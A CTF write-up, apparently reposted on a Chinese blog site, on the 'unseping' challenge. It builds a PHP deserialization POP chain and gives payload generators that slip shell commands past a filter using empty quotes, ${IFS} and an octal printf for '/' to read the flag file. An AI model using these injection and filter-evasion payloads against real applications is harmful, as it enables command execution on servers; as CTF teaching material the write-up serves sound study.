首页 > 其他分享 >攻防世界---unseping

攻防世界---unseping

时间:2024-04-27 09:45:00浏览次数:21  
标签:攻防 绕过 args ping --- unseping array 八进制 method

一.题干

image-20240427090825780

二.pop链的构造

反序列化执行__wakeup魔术方法->waf函数对传入的参数进行过滤->执行__destruct魔术方法->利用call_user_func_array执行回调函数ping

三.绕过过滤

1.首先,waf函数过滤了ls命令,可以使用空变量${Z}或者''或者""绕过:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

//$a = new ease("ping",array('l${Z}s'));   #这里只能使用单引号,否则php会将${Z}当成变量解析,导致无法绕过

$a = new ease("ping",array("l''s"));

echo urlencode(base64_encode((serialize($a))));

发现了一个没有后缀名的名字,猜测是目录:

image-20240427091722532

2.使用${IFS}绕过空格,列举一下该目录下的文件:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));

echo urlencode(base64_encode((serialize($a))));

image-20240427092030893

3.此时遇到了一个棘手的问题,题目中过滤了"\"和"/",导致我们无法直接通过flag_1s_here/flag_831b69012c67b35f.php的方式读到flag,因此我们必须要想办法绕过"/"。

4.在网上参考了很多大佬的博客,发现可以使用八进制转义序列进行绕过,首先解释一下八进制转义序列:

image-20240427092559832

5.利用C语言的%o打印八进制序列,打印出"/"的八进制:

image-20240427092959858

6.在ubuntu下做实验:

image-20240427093037553

7.最后整理出完整的poc,成功拿到flag:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));

echo urlencode(base64_encode((serialize($a))));

image-20240427093206502

标签:攻防,绕过,args,ping,---,unseping,array,八进制,method
From: https://www.cnblogs.com/dtwin/p/18161599

相关文章

  • Rabbitmq系列02---Exchange
    个人理解:交换机的类型划分个人理解是能过routingkey来划分的,一是否按routingkey找队列;fanout就是不按routingkey找队列,Direct和Topicr按routingkey找队列,只是一个模糊找,一个精准找,而headers不按routingkey是按消头中的内容找队列。一、Fanout(订阅模式|广播模式)  Fanout......
  • 17-项目风险管理(8/10 十大管理)
    15.1管理基础15.1.1项目风险概述项目风险是一种不确定的事件或条件,一旦发生,会对项目目标产生某种正面或负面的影响。项目风险既包括对项目目标的威胁,也包括促进项目目标的机会。风险源于所有项目之中的不确定因素。项目在不同阶段会有不同的风险。风险会随着项目的进展而变......
  • 18-项目采购管理(9/10 十大管理)
    16.1管理基础16.1.1协议/采购合同项目采购管理包括从项目团队外部采购或获取所需产品、服务或成果的各个过程。例如合同、订购单、协议备忘录(MOA)和服务水平协议(SLA)。被授权采购项目所需货物、服务的人员可以是项目团队、管理层或组织采购部的成员。因应用领域不同,协议可以是......
  • 19-项目干系人管理(10/10 十大管理)
    17.1管理基础17.1.1管理的重要性每个项目干系人,他们会受到项目积极或消极的影响,或者能对项目施加积极或消极的影响。项目经理和团队管理干系人的能力决定着项目的成败。为提高项目成功的概率,尽早开始识别干系人并引导干系人参与。干系人满意度应作为项目目标加以识别和管理......
  • P9753 [CSP-S 2023] 消消乐
    P9753[CSP-S2023]消消乐这题想到了50pts,想不出来怎么优化了。50pts:考虑枚举子串左端点,模拟操作过程,直接用栈模拟,遇到相同的则删去,如果某个时刻栈为空,那么合法子串数加一。考场上只想到为空的时候可消除,下面的性质才是关键的。因为我们枚举左端点,每次只判断了\([l,r]\)的......
  • ROS2学习-节点名随记
    1.节点名定义:主函数中的node=WriterNode("he")定义了该节点的名称defmain(args=None):"""ros2运行该节点的入口函数,可配置函数名称"""rclpy.init(args=args)#初始化rclpynode=WriterNode("he")#新建一个节点rclpy.spin(nod......
  • 10-项目范围管理(2/10 十大管理)
    9.1管理基础9.1.1产品范围和项目范围产品范围:指某项产品、服务或成果所具有的特征和功能。产品范围的完成情况是根据产品需求来衡量的。项目范围:包括产品范围,是为交付具有规定特性与功能的产品服务或成果而必须完成的工作。项目范围的完成情况是根据项目管理计划来衡量的。......
  • 11-项目进度管理(3/10 十大管理)
    10.1管理基础10.1.1项目进度计划的定义和总要求项目进度计划是一种用于沟通和管理干系人期望的工具,为绩效报告提供依据。编制进度计划一般步骤:首先选择进度计划方法,例如关键路径法;然后将项目特定数据,如活动、计划日期、持续时间、资源、依赖关系和制约因素等输入进度计划编......
  • 12-项目成本管理(4/10 十大管理)
    11.1管理基础11.1.1重要性和意义项目成本管理重点关注完成项目活动所需资源的成本,但同时也考虑项目决策对项目产品、服务或成果的使用成本、维护成本和支持成本的影响。项目成本管理应考虑干系人对成本的要求,不同的干系人会在不同的时间,用不同的方法测算项目成本。对于小项......
  • 13-项目质量管理(5/10 十大管理)
    12.1管理基础12.1.1质量与项目质量1.质量国际标准定义:反映实体满足主体明确和隐含需求的能力的特性总和。国家标准定义:一组固有特性满足要求的程度。质量通常是指产品的质量,广义上的质量还包括工作质量。质量与等级是两个不同的概念。质量作为实现的性能或成果;等级是......